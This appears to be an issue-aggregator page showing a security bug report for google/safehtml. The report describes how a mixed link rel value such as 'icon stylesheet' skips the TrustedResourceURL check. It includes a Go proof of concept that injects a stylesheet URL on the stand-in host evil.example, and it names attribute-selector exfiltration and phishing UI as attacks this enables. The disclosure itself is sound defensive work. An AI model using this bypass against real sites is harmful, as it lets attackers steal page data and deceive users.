safehtml/template: one URL-ish rel token downgrades a <link href> that another token requires to be a TrustedResourceURL

Open Beginner friendly
#17 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Assessment

Difficulty
2/5
Estimated time
1-3 hours
Newbie friendliness
76/100
Issue type
Bug
Clarity
Clearly specified
Activity status
Active
Tech stack
go
Domain
security

Research direction

Start in template/sanitize.go at sanitizationContextForAttrVal, line 148, and trace how every token in a link element's rel value affects the href context. Reproduce the supplied Go PoC, especially the mixed-rel cases, then verify that any rel value containing stylesheet still requires TrustedResourceURL and rejects the attacker-controlled plain string.

Written by the indexing model from the issue text.

Description

sanitizationContextForAttrVal (template/sanitize.go:148) walks a link element's rel token list and returns on the first token found in urlLinkRelVals:

if element == "link" && attr == "href" {
	relVals := strings.Fields(linkRel)
	for _, val := range relVals {
		if urlLinkRelVals[val] {
			return sanitizationContextTrustedResourceURLOrURL, nil
		}
	}
}

rel holds a space separated set of tokens and a browser honours all of them. The loop never checks whether a later token demands the stricter contract, so any single permissive token relaxes the whole element. rel="stylesheet" alone correctly requires a TrustedResourceURL. rel="icon stylesheet" contains "icon", which is in urlLinkRelVals, so the href drops to TrustedResourceURLOrURL and accepts a plain string, while the browser still applies the stylesheet.

Minimal PoC against current safehtml:

mkdir poc && cd poc
go mod init poc
go get github.com/google/safehtml@v0.1.0
# save the file below as main.go
go run .

package main

import (
	"fmt"
	"strings"

	"github.com/google/safehtml/template"
)

func render(label string, t *template.Template, err error) {
	if err != nil {
		fmt.Printf("%-26s parse rejected: %v\n", label, err)
		return
	}
	var out strings.Builder
	if err := t.Execute(&out, map[string]interface{}{"X": "//evil.example/x.css"}); err != nil {
		fmt.Printf("%-26s rejected: %v\n", label, err)
		return
	}
	fmt.Printf("%-26s %s\n", label, out.String())
}

func main() {
	a, aerr := template.New("a").Parse(`<link rel="stylesheet" href="{{.X}}">`)
	render(`rel="stylesheet"`, a, aerr)

	b, berr := template.New("b").Parse(`<link rel="icon stylesheet" href="{{.X}}">`)
	render(`rel="icon stylesheet"`, b, berr)

	c, cerr := template.New("c").Parse(`<link rel="preload stylesheet" href="{{.X}}">`)
	render(`rel="preload stylesheet"`, c, cerr)

	d, derr := template.New("d").Parse(`<link rel="alternate stylesheet" href="{{.X}}">`)
	render(`rel="alternate stylesheet"`, d, derr)
}

Actual output:

rel="stylesheet"           rejected: template: a:1:31: executing "a" at <_sanitizeTrustedResourceURL>: error calling _sanitizeTrustedResourceURL: expected a safehtml.TrustedResourceURL value
rel="icon stylesheet"      <link rel="icon stylesheet" href="//evil.example/x.css">
rel="preload stylesheet"   <link rel="preload stylesheet" href="//evil.example/x.css">
rel="alternate stylesheet" <link rel="alternate stylesheet" href="//evil.example/x.css">

The result is a stylesheet fetched from an origin the attacker chose and applied to the page: attribute selector exfiltration of rendered values, UI redressing, and @import or font chaining onward. rel="icon stylesheet" and rel="preload stylesheet" are applied immediately with no user interaction; the alternate stylesheet form needs the user to select it, so it is the weakest of the three.

Attack scenario

A remote attacker who controls a URL rendered into an affected mixed-rel can bypass the TrustedResourceURL requirement and load an attacker-controlled stylesheet without user interaction. This can enable page-content manipulation, credential-phishing UI, and limited disclosure of DOM attribute values, subject to CSP and browser restrictions.

Dominant language
Go
Stars
380
Forks
23
PR merge metrics
No merged PRs in 30d

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from google/safehtml

All issues in google/safehtml

Similar issues

More Go issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.